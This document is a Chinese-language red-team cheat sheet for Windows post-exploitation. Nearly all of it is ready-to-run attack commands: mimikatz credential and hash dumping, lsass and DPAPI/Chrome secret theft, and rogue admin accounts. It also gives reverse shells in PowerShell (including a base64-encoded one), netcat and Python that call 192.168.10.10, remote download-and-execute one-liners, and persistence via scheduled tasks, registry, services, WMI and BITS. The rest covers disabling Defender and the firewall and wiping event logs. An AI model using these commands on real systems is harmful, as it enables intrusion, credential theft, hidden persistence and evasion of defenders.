1 incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
2) 利用token获得TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller
查看文件夹属性,显示system不具有写入权限,只有TrustedInstaller可以,借用TrustedInstaller.exe的token创建子进程,子进程就有了TrustedInstaller权限
1 2 3 Set-NtTokenPrivilege SeDebugPrivilege $p = Get-NtProcess -Name TrustedInstaller.exe $proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
3) 利用cmdkey 获取令牌缓存
WMIC在向远程主机执行指令的时候,都会先默认使用缓存的凭证。攻击者可以利用本机已经缓存的令牌,直接执行指令或启动新进程
1 2 3 wmic /node:TERMSRV/47.111.191.59 process call create "cmd /c calc.exe" wmic /node:47.111.191.59 process call create "cmd /c calc.exe" wmic /node:<TARGET-BOX process call create "cmd /c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://beacon_IP/a'))\""
7. HASH Dump与利用 1) hash导出
1 2 3 4 5 6 7 8 9 10 11 1) reg save 方式 reg save HKLM\SYSTEM sys.hiv reg save HKLM\SAM sam.hiv reg save hklm\security security.hiv 2) mimikatz mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit # 离线导hash mimikatz.exe "log credit.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit" # 在线导hash
2) lsass Dump
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1)procdump # HTTP method - using the default way certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp # SMB method - using the pid net use Z: https://live.sysinternals.com tasklist /fi "imagename eq lsass.exe" # Find lsass's pid Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp 2)rundll32 rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full 3)Mimikatz mimikatz # sekurlsa::minidump lsass.dmp Switch to minidump mimikatz # sekurlsa::logonPasswords
3) Mimikatz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 1)Execute commands PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit # 单行 PS C:\temp\mimikatz> .\mimikatz # 多行 mimikatz # privilege::debug mimikatz # log mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::wdigest 2)Extract passwords mimikatz_command -f sekurlsa::logonPasswords full mimikatz_command -f sekurlsa::wdigest reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 3)Pass The Hash mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell 4)Golden ticket .\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt .\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit 5)Skeleton key # map the share net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz # login as someone rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab 6)RDP session takeover # get the Session ID you want to hijack query user create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55" net start sesshijack 7)Chrome Cookies & Credential # Saved Cookies dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b # Saved Credential in Chrome dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
4) DPAPI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 1) 显示凭据 vaultcmd /list VaultCmd /listcreds:<namevault>|<guidvault> /all vaultcmd /listcreds:"Windows Credentials" /all 2)列出凭据文件 dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ 3)Mimikatz - Credential Manager & DPAPI # check the folder to find credentials dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\* # check the file with mimikatz mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 # find master key mimikatz !sekurlsa::dpapi # use master key mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b # find and export backup keys lsadump::backupkeys /system:dc01.lab.local /export # use backup keys dpapi::masterkey /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk 4)DonAPI - 远程转储 DonPAPI.py domain/user:passw0rd@target DonPAPI.py --hashes <LM>:<NT> domain/user@target # using domain backup key dpapi.py backupkeys --export -t domain/user:passw0rd@target_dc_ip python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list
5) 创建凭据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 net user hacker Hcker_12345678* /add /Y net localgroup administrators hacker /add net localgroup "Remote Desktop Users" hacker /add # RDP access net localgroup "Backup Operators" hacker /add # Full access to files net group "Domain Admins" hacker /add /domain # enable a domain user account net user hacker /ACTIVE:YES /domain # prevent users from changing their password net user username /Passwordchg:No # prevent the password to expire net user hacker /Expires:Never # create a machine account (not shown in net users) net user /add evilbob$ evilpassword # homoglyph Aԁmіnistratοr (different of Administrator) Aԁmіnistratοr
6) 凭据利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 1)PsExec PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe # switch admin user to NT Authority/System PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s 2)RDP协议 # Enable RDP PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f PS C:\> netsh firewall set service remoteadmin enable PS C:\> netsh firewall set service remotedesktop enable # Alternative C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable # Fix CredSSP errors reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f # Disable NLA PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) 3)Netuse PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$ 4)Runas PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe" PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
0x03 权限维持 1. 反弹shell 1) CMD
1 2 3 4 5 6 7 nc.exe 192.168.10.10 6666 -e cmd nc -e cmd 192.168.10.10 6666 ncat.exe 192.168.10.10 6666 -e cmd ncat 192.168.10.10 6666 -e c:\windows\system32\cmd.exe
2) Powershell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nc.exe 192.168.10.10 6666 -e powershell ncat.exe 192.168.10.10 6666 -e powershell IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.10.10 6666 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.10.10",6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.10.10',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('192.168.10.10', 6666);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()" powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('192.168.10.10', 6666);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()" # TLS powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAyADcALgAwAC4AMAAuADEAIgAsADYANgA2ADYAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA # Base64
3) powercat
1 2 3 4 powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.10.10 -p 1234 -e cmd # 远程下载执行 Import-Module ./powercat.ps1 # 下载到本地执行 powercat -c 192.168.10.10 -p 1234 -e cmd
4) Nishang
1 2 3 4 5 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.10.10 -port 1234 # TCP协议 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.10.10 -port 1234 # UDP协议 powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.11/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.10.11 # ICMP协议
5) Dnscat
1 powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 10.0.0.1
6) Python
1 2 3 4 5 6 7 8 1)Python2 python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('192.168.10.10', 6666)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" 3)Python3 python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('192.168.10.10',6666));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
2. 计划任务后门 任务计划的父进程taskeng.exe
1) schtasks命令
1 2 3 4 5 6 7 8 9 10 11 12 13 1)原生方式 schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM" schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time] 2)用户Login schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.10.10:8080/schbackdoor'''))'" /sc onlogon /ru System 3)System启动 schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.10.10:8080/schbackdoor'''))'" /sc onstart /ru System 4)User Idle (10mins) schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.10.10:8080/schbackdoor'''))'" /sc onidle /i 10
2) Powershell创建
1 2 3 4 5 6 7 8 9 10 $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoorell.exe" $T = New-ScheduledTaskTrigger -Daily -At 1am 或者 $T = New-ScheduledTaskTrigger -Daily -At "11/11/2021 00:05:00 AM" $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest $S = New-ScheduledTaskSettingsSet $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S Register-ScheduledTask "Backdoor" -InputObject $D
3. HKLM 注册表后门 在 HKLM\Software\Microsoft\Windows 的 Run 键中创建 REG_SZ 值
1 2 Value name: Backdoor Value data: C:\Windows\Temp\backdoor.exe
1) 基础方式
1 2 3 4 5 6 7 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe" reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
2) Winlogon Helper DLL
1 2 3 4 5 6 7 8 9 10 11 12 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f exe > evilbinary.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f dll > evilbinary.dll --- reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
3) GlobalFlag
1 2 3 4 5 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
4. 自启动服务后门 1) Powershell
1 2 3 New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic sc start pentestlab
2) sc
1 2 sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem" sc start Backdoor
3) SharPersist
1 SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
5. WMI事件订阅 1) CMD命令
1 2 3 4 5 6 7 8 9 10 11 # windwos启动后60s生成文件 wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\"" # 移除命令 Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
2) Powershell命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 使用powershel部署 $FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"}; $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs $ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";} $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs $FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;} $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs # powershell移除命令 $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject
6. RDP后门 1) utilman.exe
1 2 3 # 在登录屏幕,按 Windows 键+U,得到一个SYSTEM权限 cmd.exe 窗口 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
2) sethc.exe
1 2 3 # 在 RDP 登录屏幕时多次按下 F5键 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
7. RDS Shadowing后门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 未经用户许可查看会话 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 # 允许远程连接 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # 禁用 UAC 远程限制 reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f # 使用mstsc建立影子连接 mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt /v参数:允许指定{ADDRESS}可以是远程主机的 IP 地址或主机名的值; /shadow参数:用于指定{SESSION_ID}作为 shadowee 会话 ID 的值 /noconsentprompt参数:允许绕过影子对象的权限 /prompt参数:用于指定用户连接到远程主机的凭据
8. BITS Jobs BITS(后台智能传输服务)是一个 Windows 组件,它可以利用空闲的带宽在前台或后台异步传输文件,Bits Job提供了持久化任务的功能
1 2 3 4 5 6 7 8 9 10 11 bitsadmin /create backdoor bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe" # v1 bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL bitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor # v2 - exploit/multi/script/web_delivery bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/backdoor.sct scrobj.dll" bitsadmin /resume backdoor
0x04 隐匿规避 1. 隐藏二进制文件 1 PS> attrib +h mimikatz.exe
2. 禁用 Windows Defender 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # 禁用Defender sc config WinDefend start= disabled sc stop WinDefend Set-MpPreference -DisableRealtimeMonitoring $true # 禁用扫描所有下载的文件和附件,禁用 AMSI PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus PS C:\> Set-MpPreference -DisableIOAVProtection $true # 禁用 AMSI(设置为0启用) PS C:\> Set-MpPreference -DisableScriptScanning 1 # 将ETW 会话对应的注册表值清零 reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f # 擦除当前存储的definitions MpCmdRun.exe -RemoveDefinitions -All # 删除签名 PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All # 禁用 Windows Defender 安全中心 reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f # 禁用实时保护功能 reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3. 禁用 Windows 防火墙 1 2 Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off
4. 清除系统/安全日志 1 2 cmd.exe /c wevtutil.exe cl System cmd.exe /c wevtutil.exe cl Security
0xFF Reference